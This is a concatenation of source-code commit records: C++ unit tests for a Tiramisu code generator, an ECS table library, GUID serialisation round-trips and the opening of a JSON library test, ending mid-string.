= global::get_implicit_function();\n\n tiramisu::constant N(\"N\", tiramisu::expr((int32_t) size), p_int32, true, NULL, 0, function0);\n\n tiramisu::var i(\"i\", 0, N), j(\"j\", 0, N);\n tiramisu::var i0(\"i0\"), j0(\"j0\"), i1(\"i1\"), j1(\"j1\");\n\n tiramisu::computation S0({i, j}, tiramisu::expr((uint8_t) (val0 + val1)));\n\n S0.tile(i, j, 2, 2, i0, j0, i1, j1);\n S0.tag_parallel_level(i0);\n\n tiramisu::buffer buf0(\"buf0\", {size, size}, tiramisu::p_uint8, a_output, function0);\n S0.store_in(&buf0, {i ,j});\n\n function0->codegen({&buf0}, \"build\/generated_fct_test_116.o\");\n}\n\nint main(int argc, char **argv)\n{\n gen(\"func\", 10, 3, 4);\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <catch.hpp>\n\n#include <ecs.hpp>\n\n\nenum class ColumnNames\n{\n Surname,\n Age,\n Height\n};\n\ntemplate <ColumnNames Name, class T>\nusing mycolumn = helene::column_description<ColumnNames, Name, T>;\n\n\nTEST_CASE(\"\", \"\")\n{\n helene::table<ColumnNames,\n mycolumn<ColumnNames::Surname, std::string>,\n mycolumn<ColumnNames::Age, int>,\n mycolumn<ColumnNames::Height, float>>\n tb;\n\n const auto first_row = tb.insert_row(\"Bergesen\", 35, 1.83f);\n const auto second_row = tb.insert_row(\"Lund-Hansen\", 70, 1.80f);\n\n CHECK(tb.get<ColumnNames::Surname>(first_row) == \"Bergesen\");\n CHECK(tb.get<ColumnNames::Surname>(second_row) == \"Lund-Hansen\");\n CHECK(tb.get<ColumnNames::Age>(first_row) == 35);\n CHECK(tb.get<ColumnNames::Age>(second_row) == 70);\n\n CHECK(tb.size() == 2);\n\n SECTION(\"erase first row\")\n {\n tb.erase_row(first_row);\n\n CHECK(tb.get<ColumnNames::Surname>(second_row) == \"Lund-Hansen\");\n CHECK(tb.get<ColumnNames::Age>(second_row) == 70);\n\n CHECK(tb.size() == 1);\n }\n\n SECTION(\"erase second row\")\n {\n tb.erase_row(second_row);\n\n CHECK(tb.get<ColumnNames::Surname>(first_row) == \"Bergesen\");\n CHECK(tb.get<ColumnNames::Age>(first_row) == 35);\n\n CHECK(tb.size() == 1);\n }\n\n SECTION(\"get iterator range to Surname column\")\n {\n auto it_beg = tb.column_begin<ColumnNames::Surname>();\n auto it_end = tb.column_end<ColumnNames::Surname>();\n }\n}\n<commit_msg>Add unit test for iterators. \tmodified: tests\/test_ecs.cpp<commit_after>#include <iterator>\n\n#include <catch.hpp>\n\n#include <ecs.hpp>\n\n\nenum class ColumnNames\n{\n Surname,\n Age,\n Height\n};\n\ntemplate <ColumnNames Name, class T>\nusing mycolumn = helene::column_description<ColumnNames, Name, T>;\n\n\nTEST_CASE(\"\", \"\")\n{\n helene::table<ColumnNames,\n mycolumn<ColumnNames::Surname, std::string>,\n mycolumn<ColumnNames::Age, int>,\n mycolumn<ColumnNames::Height, float>>\n tb;\n\n const auto first_row = tb.insert_row(\"Bergesen\", 35, 1.83f);\n const auto second_row = tb.insert_row(\"Lund-Hansen\", 70, 1.80f);\n\n CHECK(tb.get<ColumnNames::Surname>(first_row) == \"Bergesen\");\n CHECK(tb.get<ColumnNames::Surname>(second_row) == \"Lund-Hansen\");\n CHECK(tb.get<ColumnNames::Age>(first_row) == 35);\n CHECK(tb.get<ColumnNames::Age>(second_row) == 70);\n\n CHECK(tb.size() == 2);\n\n SECTION(\"erase first row\")\n {\n tb.erase_row(first_row);\n\n CHECK(tb.get<ColumnNames::Surname>(second_row) == \"Lund-Hansen\");\n CHECK(tb.get<ColumnNames::Age>(second_row) == 70);\n\n CHECK(tb.size() == 1);\n }\n\n SECTION(\"erase second row\")\n {\n tb.erase_row(second_row);\n\n CHECK(tb.get<ColumnNames::Surname>(first_row) == \"Bergesen\");\n CHECK(tb.get<ColumnNames::Age>(first_row) == 35);\n\n CHECK(tb.size() == 1);\n }\n\n SECTION(\"get iterator range to Surname column\")\n {\n auto it_beg = tb.column_begin<ColumnNames::Surname>();\n auto it_end = tb.column_end<ColumnNames::Surname>();\n\n std::vector<std::string> surnames(it_beg, it_end);\n\n CHECK(std::distance(it_beg, it_end) == 2);\n CHECK_THAT(surnames, Catch::VectorContains(std::string(\"Bergesen\")));\n CHECK_THAT(surnames, Catch::VectorContains(std::string(\"Lund-Hansen\")));\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2016,2017 deipi.com LLC and contributors. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#include \"test_guid.h\"\n\n#include \"..\/src\/guid\/guid.h\"\n#include \"utils.h\"\n\n\nconstexpr int NUM_TESTS = 1000;\n\n\nconstexpr size_t MIN_COMPACTED_LENGTH = 2;\nconstexpr size_t MAX_COMPACTED_LENGTH = 11;\nconstexpr size_t MIN_CONDENSED_LENGTH = 2;\nconstexpr size_t MAX_CONDENSED_LENGTH = 16;\nconstexpr size_t MIN_EXPANDED_LENGTH = 3;\nconstexpr size_t MAX_EXPANDED_LENGTH = 17;\n\n\nint test_guid() {\n\tINIT_LOG\n\tGuidGenerator generator;\n\n\tauto g1 = generator.newGuid();\n\tauto g2 = generator.newGuid();\n\tauto g3 = generator.newGuid();\n\n\tL_DEBUG(nullptr, \"Guids generated: %s %s %s\", repr(g1.to_string()).c_str(), repr(g2.to_string()).c_str(), repr(g3.to_string()).c_str());\n\tif (g1 == g2 || g1 == g3 || g2 == g3) {\n\t\tL_ERR(nullptr, \"ERROR: Not all random guids are different\");\n\t\tRETURN(1);\n\t}\n\n\tstd::string u1(\"3c0f2be3-ff4f-40ab-b157-c51a81eff176\");\n\tstd::string u2(\"e47fcfdf-8db6-4469-a97f-57146dc41ced\");\n\tstd::string u3(\"b2ce58e8-d049-4705-b0cb-fe7435843781\");\n\n\tGuid s1(u1);\n\tGuid s2(u2);\n\tGuid s3(u3);\n\tGuid s4(u1);\n\n\tif (s1 == s2) {\n\t\tL_ERR(nullptr, \"ERROR: s1 and s2 must be different\");\n\t\tRETURN(1);\n\t}\n\n\tif (s1 != s4) {\n\t\tL_ERR(nullptr, \"ERROR: s1 and s4 must be equal\");\n\t\tRETURN(1);\n\t}\n\n\tif (s1.to_string() != u1) {\n\t\tL_ERR(nullptr, \"ERROR: string generated from s1 is wrong\");\n\t\tRETURN(1);\n\t}\n\n\tif (s2.to_string() != u2) {\n\t\tL_ERR(nullptr, \"ERROR: string generated from s2 is wrong\");\n\t\tRETURN(1);\n\t}\n\n\tif (s3.to_string() != u3) {\n\t\tL_ERR(nullptr, \"ERROR: string generated from s3 is wrong\");\n\t\tRETURN(1);\n\t}\n\n\tRETURN(0);\n}\n\n\nint test_special_guids() {\n\tstd::vector<std::string> special_uuids({\n\t\t\"00000000-0000-0000-0000-000000000000\",\n\t\t\"00000000-0000-1000-a000-000000000000\",\n\t\t\"00000000-0000-4000-b000-000000000000\",\n\t\t\"00000000-2000-1000-c000-000000000000\",\n\t\t\"00000000-2000-4000-c000-000000000000\",\n\t\t\"00000000-2000-2000-0000-000000000000\",\n\t});\n\n\tint cont = 0;\n\tfor (const auto& uuid_orig : special_uuids) {\n\t\tGuid guid(uuid_orig);\n\t\tGuid guid2 = Guid::unserialise(guid.serialise());\n\t\tconst auto uuid_rec = guid2.to_string();\n\t\tif (uuid_orig != uuid_rec) {\n\t\t\t++cont;\n\t\t\tL_ERR(nullptr, \"ERROR: Expected: %s Result: %s\", uuid_orig.c_str(), uuid_rec.c_str());\n\t\t}\n\t}\n\n\tRETURN(cont);\n}\n\n\nint test_compacted_guids() {\n\tint cont = 0;\n\tsize_t min_length = 20, max_length = 0;\n\tfor (int i = 0; i < NUM_TESTS; ++i) {\n\t\tGuid guid = GuidGenerator().newGuid(true);\n\t\tconst auto uuid_orig = guid.to_string();\n\t\tconst auto serialised = guid.serialise();\n\t\tGuid guid2 = Guid::unserialise(serialised);\n\t\tconst auto uuid_rec = guid2.to_string();\n\t\tif (uuid_orig != uuid_rec) {\n\t\t\t++cont;\n\t\t\tL_ERR(stderr, \"ERROR: Expected: %s Result: %s\", uuid_orig.c_str(), uuid_rec.c_str());\n\t\t}\n\t\tif (max_length < serialised.length()) {\n\t\t\tmax_length = serialised.length();\n\t\t}\n\t\tif (min_length > serialised.length()) {\n\t\t\tmin_length = serialised.length();\n\t\t}\n\t}\n\n\tif (max_length > MAX_COMPACTED_LENGTH) {\n\t\tL_ERR(nullptr, \"ERROR: Max length for compacted uuid is %zu\", MAX_COMPACTED_LENGTH);\n\t\t++cont;\n\t}\n\n\tif (min_length < MIN_COMPACTED_LENGTH) {\n\t\tL_ERR(nullptr, \"ERROR: Min length for compacted uuid is %zu\", MIN_COMPACTED_LENGTH);\n\t\t++cont;\n\t}\n\n\tRETURN(cont);\n}\n\n\nint test_condensed_guids() {\n\tint cont = 0;\n\tsize_t min_length = 20, max_length = 0;\n\tfor (int i = 0; i < NUM_TESTS; ++i) {\n\t\tGuid guid = GuidGenerator().newGuid(false);\n\t\tconst auto uuid_orig = guid.to_string();\n\t\tconst auto serialised = guid.serialise();\n\t\tGuid guid2 = Guid::unserialise(serialised);\n\t\tconst auto uuid_rec = guid2.to_string();\n\t\tif (uuid_orig != uuid_rec) {\n\t\t\t++cont;\n\t\t\tL_ERR(stderr, \"ERROR: Expected: %s Result: %s\", uuid_orig.c_str(), uuid_rec.c_str());\n\t\t}\n\t\tif (max_length < serialised.length()) {\n\t\t\tmax_length = serialised.length();\n\t\t}\n\t\tif (min_length > serialised.length()) {\n\t\t\tmin_length = serialised.length();\n\t\t}\n\t}\n\n\tif (max_length > MAX_CONDENSED_LENGTH) {\n\t\tL_ERR(nullptr, \"ERROR: Max length for condensed uuid is %zu\", MAX_CONDENSED_LENGTH);\n\t\t++cont;\n\t}\n\n\tif (min_length < MIN_CONDENSED_LENGTH) {\n\t\tL_ERR(nullptr, \"ERROR: Min length for condensed uuid is %zu\", MIN_CONDENSED_LENGTH);\n\t\t++cont;\n\t}\n\n\tRETURN(cont);\n}\n\n\nint test_expanded_guids() {\n\tint cont = 0;\n\tsize_t min_length = 20, max_length = 0;\n\tfor (auto i = 0; i < NUM_TESTS; ++i) {\n\t\tstd::string uuid_orig;\n\t\tuuid_orig.reserve(36);\n\t\tconst char x[] = {\n\t\t\t'0', '1', '2', '3', '4', '5', '6', '7',\n\t\t\t'8', '9', 'a', 'b', 'c', 'd', 'e', 'f',\n\t\t};\n\t\tfor (int i = 0; i < 8; ++i) {\n\t\t\tuuid_orig.push_back(x[random_int(0, 15)]);\n\t\t}\n\t\tuuid_orig.push_back('-');\n\t\tfor (int i = 0; i < 4; ++i) {\n\t\t\tuuid_orig.push_back(x[random_int(0, 15)]);\n\t\t}\n\t\tuuid_orig.push_back('-');\n\t\tfor (int i = 0; i < 4; ++i) {\n\t\t\tuuid_orig.push_back(x[random_int(0, 15)]);\n\t\t}\n\t\tuuid_orig.push_back('-');\n\t\tfor (int i = 0; i < 4; ++i) {\n\t\t\tuuid_orig.push_back(x[random_int(0, 15)]);\n\t\t}\n\t\tuuid_orig.push_back('-');\n\t\tfor (int i = 0; i < 12; ++i) {\n\t\t\tuuid_orig.push_back(x[random_int(0, 15)]);\n\t\t}\n\t\t\/\/ If random uuid is rfc 4122, change the variant.\n\t\tconst auto& version = uuid_orig[14];\n\t\tauto& variant = uuid_orig[19];\n\t\tif ((version == 1 || version == 4) && (variant == '8' || variant == '9' || variant == 'a' || variant == 'b')) {\n\t\t\tvariant = '7';\n\t\t}\n\t\tGuid guid(uuid_orig);\n\t\tconst auto serialised = guid.serialise();\n\t\tGuid guid2 = Guid::unserialise(serialised);\n\t\tconst auto uuid_rec = guid2.to_string();\n\t\tif (uuid_orig != uuid_rec) {\n\t\t\t++cont;\n\t\t\tL_ERR(nullptr, \"ERROR: Expected: %s Result: %s\\n\", uuid_orig.c_str(), uuid_rec.c_str());\n\t\t}\n\t\tif (max_length < serialised.length()) {\n\t\t\tmax_length = serialised.length();\n\t\t}\n\t\tif (min_length > serialised.length()) {\n\t\t\tmin_length = serialised.length();\n\t\t}\n\t}\n\n\tif (max_length > MAX_EXPANDED_LENGTH) {\n\t\tL_ERR(nullptr, \"ERROR: Max length for expanded uuid is %zu\", MAX_EXPANDED_LENGTH);\n\t\t++cont;\n\t}\n\n\tif (min_length < MIN_EXPANDED_LENGTH) {\n\t\tL_ERR(nullptr, \"ERROR: Min length for expanded uuid is %zu\", MIN_EXPANDED_LENGTH);\n\t\t++cont;\n\t}\n\n\tRETURN(cont);\n}\n\n\nint test_several_guids() {\n\tsize_t cont = 0;\n\tfor (auto i = 0; i < NUM_TESTS; ++i) {\n\t\tstd::vector<std::string> str_uuids;\n\t\tstd::vector<std::string> norm_uuids;\n\t\tswitch (i % 3) {\n\t\t\tcase 0: {\n\t\t\t\tGuid guid = GuidGenerator().newGuid(true);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tnorm_uuids.push_back(guid.to_string());\n\t\t\t\tguid = GuidGenerator().newGuid(false);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tnorm_uuids.push_back(guid.to_string());\n\t\t\t\tguid = GuidGenerator().newGuid(true);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tnorm_uuids.push_back(guid.to_string());\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase 1: {\n\t\t\t\tGuid guid = GuidGenerator().newGuid(true);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tnorm_uuids.push_back(base64::encode(guid.serialise()));\n\t\t\t\tguid = GuidGenerator().newGuid(false);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tnorm_uuids.push_back(base64::encode(guid.serialise()));\n\t\t\t\tguid = GuidGenerator().newGuid(true);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tnorm_uuids.push_back(base64::encode(guid.serialise()));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdefault: {\n\t\t\t\tGuid guid = GuidGenerator().newGuid(true);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tauto serialised = guid.serialise();\n\t\t\t\tguid = GuidGenerator().newGuid(false);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tserialised.append(guid.serialise());\n\t\t\t\tguid = GuidGenerator().newGuid(true);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tserialised.append(guid.serialise());\n\t\t\t\tnorm_uuids.push_back(base64::encode(serialised));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tstd::vector<Guid> guids;\n\t\tconst auto serialised = Guid::serialise(norm_uuids.begin(), norm_uuids.end());\n\t\tGuid::unserialise(serialised, std::back_inserter(guids));\n\t\tif (guids.size() != str_uuids.size()) {\n\t\t\t++cont;\n\t\t\tL_ERR(nullptr, \"ERROR: Different sizes. Expected: %zu Result: %zu\", str_uuids.size(), guids.size());\n\t\t} else {\n\t\t\tauto it = str_uuids.begin();\n\t\t\tfor (const auto& guid : guids) {\n\t\t\t\tconst auto str_guid = guid.to_string();\n\t\t\t\tif (str_guid != *it) {\n\t\t\t\t\t++cont;\n\t\t\t\t\tL_ERR(nullptr, \"ERROR: Expected: %s Result: %s\", it->c_str(), str_guid.c_str());\n\t\t\t\t}\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\t}\n\n\tRETURN(cont);\n}\n<commit_msg>Add special uuid test<commit_after>\/*\n * Copyright (C) 2016,2017 deipi.com LLC and contributors. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n *\/\n\n#include \"test_guid.h\"\n\n#include \"..\/src\/guid\/guid.h\"\n#include \"utils.h\"\n\n\nconstexpr int NUM_TESTS = 1000;\n\n\nconstexpr size_t MIN_COMPACTED_LENGTH = 2;\nconstexpr size_t MAX_COMPACTED_LENGTH = 11;\nconstexpr size_t MIN_CONDENSED_LENGTH = 2;\nconstexpr size_t MAX_CONDENSED_LENGTH = 16;\nconstexpr size_t MIN_EXPANDED_LENGTH = 3;\nconstexpr size_t MAX_EXPANDED_LENGTH = 17;\n\n\nint test_guid() {\n\tINIT_LOG\n\tGuidGenerator generator;\n\n\tauto g1 = generator.newGuid();\n\tauto g2 = generator.newGuid();\n\tauto g3 = generator.newGuid();\n\n\tL_DEBUG(nullptr, \"Guids generated: %s %s %s\", repr(g1.to_string()).c_str(), repr(g2.to_string()).c_str(), repr(g3.to_string()).c_str());\n\tif (g1 == g2 || g1 == g3 || g2 == g3) {\n\t\tL_ERR(nullptr, \"ERROR: Not all random guids are different\");\n\t\tRETURN(1);\n\t}\n\n\tstd::string u1(\"3c0f2be3-ff4f-40ab-b157-c51a81eff176\");\n\tstd::string u2(\"e47fcfdf-8db6-4469-a97f-57146dc41ced\");\n\tstd::string u3(\"b2ce58e8-d049-4705-b0cb-fe7435843781\");\n\n\tGuid s1(u1);\n\tGuid s2(u2);\n\tGuid s3(u3);\n\tGuid s4(u1);\n\n\tif (s1 == s2) {\n\t\tL_ERR(nullptr, \"ERROR: s1 and s2 must be different\");\n\t\tRETURN(1);\n\t}\n\n\tif (s1 != s4) {\n\t\tL_ERR(nullptr, \"ERROR: s1 and s4 must be equal\");\n\t\tRETURN(1);\n\t}\n\n\tif (s1.to_string() != u1) {\n\t\tL_ERR(nullptr, \"ERROR: string generated from s1 is wrong\");\n\t\tRETURN(1);\n\t}\n\n\tif (s2.to_string() != u2) {\n\t\tL_ERR(nullptr, \"ERROR: string generated from s2 is wrong\");\n\t\tRETURN(1);\n\t}\n\n\tif (s3.to_string() != u3) {\n\t\tL_ERR(nullptr, \"ERROR: string generated from s3 is wrong\");\n\t\tRETURN(1);\n\t}\n\n\tRETURN(0);\n}\n\n\nint test_special_guids() {\n\tstd::vector<std::string> special_uuids({\n\t\t\"00000000-0000-0000-0000-000000000000\",\n\t\t\"00000000-0000-1000-8000-000000000000\",\n\t\t\"00000000-0000-1000-a000-000000000000\",\n\t\t\"00000000-0000-4000-b000-000000000000\",\n\t\t\"00000000-2000-1000-c000-000000000000\",\n\t\t\"00000000-2000-4000-c000-000000000000\",\n\t\t\"00000000-2000-2000-0000-000000000000\",\n\t});\n\n\tint cont = 0;\n\tfor (const auto& uuid_orig : special_uuids) {\n\t\tGuid guid(uuid_orig);\n\t\tGuid guid2 = Guid::unserialise(guid.serialise());\n\t\tconst auto uuid_rec = guid2.to_string();\n\t\tif (uuid_orig != uuid_rec) {\n\t\t\t++cont;\n\t\t\tL_ERR(nullptr, \"ERROR: Expected: %s Result: %s\", uuid_orig.c_str(), uuid_rec.c_str());\n\t\t}\n\t}\n\n\tRETURN(cont);\n}\n\n\nint test_compacted_guids() {\n\tint cont = 0;\n\tsize_t min_length = 20, max_length = 0;\n\tfor (int i = 0; i < NUM_TESTS; ++i) {\n\t\tGuid guid = GuidGenerator().newGuid(true);\n\t\tconst auto uuid_orig = guid.to_string();\n\t\tconst auto serialised = guid.serialise();\n\t\tGuid guid2 = Guid::unserialise(serialised);\n\t\tconst auto uuid_rec = guid2.to_string();\n\t\tif (uuid_orig != uuid_rec) {\n\t\t\t++cont;\n\t\t\tL_ERR(stderr, \"ERROR: Expected: %s Result: %s\", uuid_orig.c_str(), uuid_rec.c_str());\n\t\t}\n\t\tif (max_length < serialised.length()) {\n\t\t\tmax_length = serialised.length();\n\t\t}\n\t\tif (min_length > serialised.length()) {\n\t\t\tmin_length = serialised.length();\n\t\t}\n\t}\n\n\tif (max_length > MAX_COMPACTED_LENGTH) {\n\t\tL_ERR(nullptr, \"ERROR: Max length for compacted uuid is %zu\", MAX_COMPACTED_LENGTH);\n\t\t++cont;\n\t}\n\n\tif (min_length < MIN_COMPACTED_LENGTH) {\n\t\tL_ERR(nullptr, \"ERROR: Min length for compacted uuid is %zu\", MIN_COMPACTED_LENGTH);\n\t\t++cont;\n\t}\n\n\tRETURN(cont);\n}\n\n\nint test_condensed_guids() {\n\tint cont = 0;\n\tsize_t min_length = 20, max_length = 0;\n\tfor (int i = 0; i < NUM_TESTS; ++i) {\n\t\tGuid guid = GuidGenerator().newGuid(false);\n\t\tconst auto uuid_orig = guid.to_string();\n\t\tconst auto serialised = guid.serialise();\n\t\tGuid guid2 = Guid::unserialise(serialised);\n\t\tconst auto uuid_rec = guid2.to_string();\n\t\tif (uuid_orig != uuid_rec) {\n\t\t\t++cont;\n\t\t\tL_ERR(stderr, \"ERROR: Expected: %s Result: %s\", uuid_orig.c_str(), uuid_rec.c_str());\n\t\t}\n\t\tif (max_length < serialised.length()) {\n\t\t\tmax_length = serialised.length();\n\t\t}\n\t\tif (min_length > serialised.length()) {\n\t\t\tmin_length = serialised.length();\n\t\t}\n\t}\n\n\tif (max_length > MAX_CONDENSED_LENGTH) {\n\t\tL_ERR(nullptr, \"ERROR: Max length for condensed uuid is %zu\", MAX_CONDENSED_LENGTH);\n\t\t++cont;\n\t}\n\n\tif (min_length < MIN_CONDENSED_LENGTH) {\n\t\tL_ERR(nullptr, \"ERROR: Min length for condensed uuid is %zu\", MIN_CONDENSED_LENGTH);\n\t\t++cont;\n\t}\n\n\tRETURN(cont);\n}\n\n\nint test_expanded_guids() {\n\tint cont = 0;\n\tsize_t min_length = 20, max_length = 0;\n\tfor (auto i = 0; i < NUM_TESTS; ++i) {\n\t\tstd::string uuid_orig;\n\t\tuuid_orig.reserve(36);\n\t\tconst char x[] = {\n\t\t\t'0', '1', '2', '3', '4', '5', '6', '7',\n\t\t\t'8', '9', 'a', 'b', 'c', 'd', 'e', 'f',\n\t\t};\n\t\tfor (int i = 0; i < 8; ++i) {\n\t\t\tuuid_orig.push_back(x[random_int(0, 15)]);\n\t\t}\n\t\tuuid_orig.push_back('-');\n\t\tfor (int i = 0; i < 4; ++i) {\n\t\t\tuuid_orig.push_back(x[random_int(0, 15)]);\n\t\t}\n\t\tuuid_orig.push_back('-');\n\t\tfor (int i = 0; i < 4; ++i) {\n\t\t\tuuid_orig.push_back(x[random_int(0, 15)]);\n\t\t}\n\t\tuuid_orig.push_back('-');\n\t\tfor (int i = 0; i < 4; ++i) {\n\t\t\tuuid_orig.push_back(x[random_int(0, 15)]);\n\t\t}\n\t\tuuid_orig.push_back('-');\n\t\tfor (int i = 0; i < 12; ++i) {\n\t\t\tuuid_orig.push_back(x[random_int(0, 15)]);\n\t\t}\n\t\t\/\/ If random uuid is rfc 4122, change the variant.\n\t\tconst auto& version = uuid_orig[14];\n\t\tauto& variant = uuid_orig[19];\n\t\tif ((version == 1 || version == 4) && (variant == '8' || variant == '9' || variant == 'a' || variant == 'b')) {\n\t\t\tvariant = '7';\n\t\t}\n\t\tGuid guid(uuid_orig);\n\t\tconst auto serialised = guid.serialise();\n\t\tGuid guid2 = Guid::unserialise(serialised);\n\t\tconst auto uuid_rec = guid2.to_string();\n\t\tif (uuid_orig != uuid_rec) {\n\t\t\t++cont;\n\t\t\tL_ERR(nullptr, \"ERROR: Expected: %s Result: %s\\n\", uuid_orig.c_str(), uuid_rec.c_str());\n\t\t}\n\t\tif (max_length < serialised.length()) {\n\t\t\tmax_length = serialised.length();\n\t\t}\n\t\tif (min_length > serialised.length()) {\n\t\t\tmin_length = serialised.length();\n\t\t}\n\t}\n\n\tif (max_length > MAX_EXPANDED_LENGTH) {\n\t\tL_ERR(nullptr, \"ERROR: Max length for expanded uuid is %zu\", MAX_EXPANDED_LENGTH);\n\t\t++cont;\n\t}\n\n\tif (min_length < MIN_EXPANDED_LENGTH) {\n\t\tL_ERR(nullptr, \"ERROR: Min length for expanded uuid is %zu\", MIN_EXPANDED_LENGTH);\n\t\t++cont;\n\t}\n\n\tRETURN(cont);\n}\n\n\nint test_several_guids() {\n\tsize_t cont = 0;\n\tfor (auto i = 0; i < NUM_TESTS; ++i) {\n\t\tstd::vector<std::string> str_uuids;\n\t\tstd::vector<std::string> norm_uuids;\n\t\tswitch (i % 3) {\n\t\t\tcase 0: {\n\t\t\t\tGuid guid = GuidGenerator().newGuid(true);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tnorm_uuids.push_back(guid.to_string());\n\t\t\t\tguid = GuidGenerator().newGuid(false);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tnorm_uuids.push_back(guid.to_string());\n\t\t\t\tguid = GuidGenerator().newGuid(true);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tnorm_uuids.push_back(guid.to_string());\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcase 1: {\n\t\t\t\tGuid guid = GuidGenerator().newGuid(true);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tnorm_uuids.push_back(base64::encode(guid.serialise()));\n\t\t\t\tguid = GuidGenerator().newGuid(false);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tnorm_uuids.push_back(base64::encode(guid.serialise()));\n\t\t\t\tguid = GuidGenerator().newGuid(true);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tnorm_uuids.push_back(base64::encode(guid.serialise()));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdefault: {\n\t\t\t\tGuid guid = GuidGenerator().newGuid(true);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tauto serialised = guid.serialise();\n\t\t\t\tguid = GuidGenerator().newGuid(false);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tserialised.append(guid.serialise());\n\t\t\t\tguid = GuidGenerator().newGuid(true);\n\t\t\t\tstr_uuids.push_back(guid.to_string());\n\t\t\t\tserialised.append(guid.serialise());\n\t\t\t\tnorm_uuids.push_back(base64::encode(serialised));\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tstd::vector<Guid> guids;\n\t\tconst auto serialised = Guid::serialise(norm_uuids.begin(), norm_uuids.end());\n\t\tGuid::unserialise(serialised, std::back_inserter(guids));\n\t\tif (guids.size() != str_uuids.size()) {\n\t\t\t++cont;\n\t\t\tL_ERR(nullptr, \"ERROR: Different sizes. Expected: %zu Result: %zu\", str_uuids.size(), guids.size());\n\t\t} else {\n\t\t\tauto it = str_uuids.begin();\n\t\t\tfor (const auto& guid : guids) {\n\t\t\t\tconst auto str_guid = guid.to_string();\n\t\t\t\tif (str_guid != *it) {\n\t\t\t\t\t++cont;\n\t\t\t\t\tL_ERR(nullptr, \"ERROR: Expected: %s Result: %s\", it->c_str(), str_guid.c_str());\n\t\t\t\t}\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\t}\n\n\tRETURN(cont);\n}\n<|endoftext|>"} {"text":"<commit_before>#define BOOST_TEST_MODULE json test\n#include <boost\/test\/unit_test.hpp>\n#include <ten\/json.hh>\n#ifdef TEN_JSON_CXX11\n#include <ten\/jserial.hh>\n#include <ten\/jserial_maybe.hh>\n#include <ten\/jserial_seq.hh>\n#include <ten\/jserial_assoc.hh>\n#include <ten\/jserial_enum.hh>\n#endif\n#include <array>\n\nusing namespace std;\nusing namespace ten;\n\nconst char json_text[] =\n\"{ \\\"store\\\": {\"\n\" \\\"book\\\": [\"\n\" { \\\"category\\\": \\\"reference\\\",\"\n\" \\\"author\\\": \\\"Nigel Rees\\\",\"\n\" \\\"title\\\": \\\"Sayings of the Century\\\",\"\n\" \\\"price\\\": 8.95\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"Evelyn Waugh\\\",\"\n\" \\\"title\\\": \\\"Sword of Honour\\\",\"\n\" \\\"price\\\": 12.99\"\n\" },\"\n\" { \\\"category\\\": \\\"fiction\\\",\"\n\" \\\"author\\\": \\\"Herman Melville\\\",\"\n\" 